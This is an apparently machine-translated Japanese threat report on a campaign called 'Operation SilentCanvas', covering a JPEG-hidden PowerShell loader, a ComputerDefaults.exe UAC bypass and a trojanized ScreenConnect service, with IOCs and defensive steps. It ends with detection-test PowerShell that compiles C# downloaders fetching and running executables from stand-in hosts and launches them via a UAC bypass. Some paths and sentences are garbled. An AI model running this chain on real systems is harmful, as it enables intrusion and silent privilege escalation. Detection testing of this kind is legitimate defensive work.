OPERATION SILENTCANVAS: JPEG ベースのマルチステージPowerShell侵入

概要

Operation SilentCanvasは、悪意のあるPowerShellペイロードをJPEGファイル名 sysupdate.jpegに隠す高度な多段階の侵入で、そのペイロードはカスタムランチャーを取得してコンパイルし、それを通じて構築された csc.exeを悪用し、 ComputerDefaults.exe を使用してファイルレスUACバイパスを実行し、トロイの木馬化されたConnectWise ScreenConnectサービス名 OneDriveServers をインストールして持続的なリモートアクセスを維持します。マルウェアは、ポート legitserver.theworkpc.com を通じて暗号化された通信チャネルで通信します。 5443 and 8041に加え、防御回避、資格情報の収集、隠密監視にも強い重点が置かれています。

調査

レポートは、JPEGベースのローダー、動的にコンパイルされた uds.exe バイナリ、および変更されたScreenConnectコンポーネントの静的および動的分析をカバーしています。研究者は、AMSIバイパス、リビングオフトゥランドバイナリの悪用、レジストリハイジャック、暗号化通信のためのカスタムキー導出などの複数の攻撃技術を特定しました。インフラストラクチャの分析により、 legitserver.theworkpc.com とIPアドレス 45.138.16.64間のハードコードされたマッピングが明らかになりました。この調査では、詳細な被害者のプロファイリング、ローカルアカウントの操作、隠されたデスクトップアクセスに結びついた機能も明らかになりました。

緩和策

ディフェンダーは、正当なリモート監視および管理ツールに対して厳密なホワイトリストを適用し、 csc.exe, cvtres.exeや ComputerDefaults.exeの実行を制限または厳密に監視するべきです。監視はまた、疑わしい ms-settings レジストリの変更、PowerShell AMSIバイパスの動作、隠しプロセス作成フラグ、名前を含む承認されていないサービス作成に焦点を当てる必要があります。 OneDriveServers暴露された可能性のあるアカウントはリセットされ、影響を受けたシステムはさらに悪用を防ぐために迅速に隔離されるべきです。

対応策

関連指標が検出された場合、エンドポイントは直ちに隔離され、悪意のある uds.exe プロセスと関連するPowerShellアクティビティは終了され、 OneDriveServers サービスはホストから削除されるべきです。調査者は、コマンドアンドコントロールインフラストラクチャに結びついたレジストリアーティファクト、サービスバイナリ、ネットワークテレメトリを収集し、より深いフォレンジックレビューを行う必要があります。すべての特権資格情報はローテーションされるべきであり、ディフェンダーはこのキャンペーンで文書化された技術に関連した水平移動パターンを監視するべきです。

シミュレーション実行

前提条件: テレメトリとベースラインの事前確認が合格している必要があります。

根拠: このセクションでは、検出ルールをトリガーする敵の技術（TTP）の正確な実行を詳細に説明します。コマンドとナラティブは、特定されたTTPに直接反映され、検出ロジックで期待される正確なテレメトリを生成することを目的とします。抽象的または無関係な例は誤診につながります。

• 攻撃のナラティブとコマンド:

  1. 初期侵入: アタッカーはエンドポイントで低権限のPowerShellセッションを取得します。
  2. ライブコンパイル: すでに利用可能な csc.exeを使用して、攻撃者はC2サーバーからセカンドステージペイロードを取得するC#ダウンローダをコンパイルします。コンパイルは、親子条件を満たすためにPowerShellプロセスから起動されます。
  3. ファイルレスUACバイパス: 攻撃者は、新しく構築された実行可能ファイルを ComputerDefaults.exeを介して実行し、UACプロンプトを表示せずにサイレントに昇格を要求します。
  4. 昇格後の実行: 昇格されたペイロードは、攻撃者に対してリバースシェルを確立します。

  # ステップ 1 – 悪意のあるC#ソースを準備（インメモリ）
  $csSource = @"
  using System;
  using System.Net;
  using System.Diagnostics;
  public class Downloader {
      public static void Main() {
          using (WebClient wc = new WebClient()) {
              string payloadUrl = "http://malicious.example.com/payload.exe";
              string tempPath = System.IO.Path.Combine($env:TEMP, "payload.exe");
              wc.DownloadFile(payloadUrl, tempPath);
              Process.Start(tempPath);
          }
      }
  }
  "@
  
  $srcPath = "$env:TEMPDownloader.cs"
  $exePath = "$env:TEMPDownloader.exe"
  $csSource | Out-File -FilePath $srcPath -Encoding ASCII
  
  # ステップ 2 – csc.exeを介してコンパイル（親 = PowerShell）
  & "$env:WINDIRMicrosoft.NETFramework64v4.0.30319csc.exe" /nologo /t:exe /out:$exePath $srcPath
  
  # ステップ 3 – ComputerDefaults.exeを使用してUACバイパスをトリガー（依然としてPowerShellの子）
  $computerDefaults = "$env:SystemRootSystem32ComputerDefaults.exe"
  Start-Process -FilePath $computerDefaults -ArgumentList "`"$exePath`"" -WindowStyle Hidden

• 回帰テストスクリプト: (上記のステップを再現する自己完結型PowerShellスクリプト）

  # -----------------------------------------------------------------
  # ファイル: trigger_csc_uac_bypass.ps1
  # 目的: csc.exe + ComputerDefaults.exe の攻撃チェーンをシミュレート
  # -----------------------------------------------------------------
  
  # TEMPディレクトリに悪意のあるC#ソースを作成
  $src = @"
  using System;
  using System.Net;
  using System.Diagnostics;
  public class Payload {
      public static void Main() {
          using (WebClient wc = new WebClient()) {
              string url = "http://example.com/evil.exe";
              string path = System.IO.Path.Combine($env:TEMP, "evil.exe");
              wc.DownloadFile(url, path);
              Process.Start(path);
          }
      }
  }
  "@
  
  $srcPath = Join-Path $env:TEMP "Payload.cs"
  $exePath = Join-Path $env:TEMP "Payload.exe"
  $src | Out-File -FilePath $srcPath -Encoding ASCII
  
  # このPowerShellプロセスが親となり、csc.exeでコンパイル
  $csc = "$env:WINDIRMicrosoft.NETFramework64v4.0.30319csc.exe"
  & $csc /nologo /t:exe /out:$exePath $srcPath
  
  # 静かなUACバイパスを行うためにComputerDefaults.exeで実行
  $computerDefaults = "$env:SystemRootSystem32ComputerDefaults.exe"
  Start-Process -FilePath $computerDefaults -ArgumentList "`"$exePath`"" -WindowStyle Hidden

• クリーンアップコマンド:

  # 生成されたアーティファクトを削除
  Remove-Item -Path "$env:TEMPPayload.cs" -Force -ErrorAction SilentlyContinue
  Remove-Item -Path "$env:TEMPPayload.exe" -Force -ErrorAction SilentlyContinue
  # テストによって開始された残留プロセスをオプションで終了
  Get-Process -Name "evil" -ErrorAction SilentlyContinue | Stop-Process -Force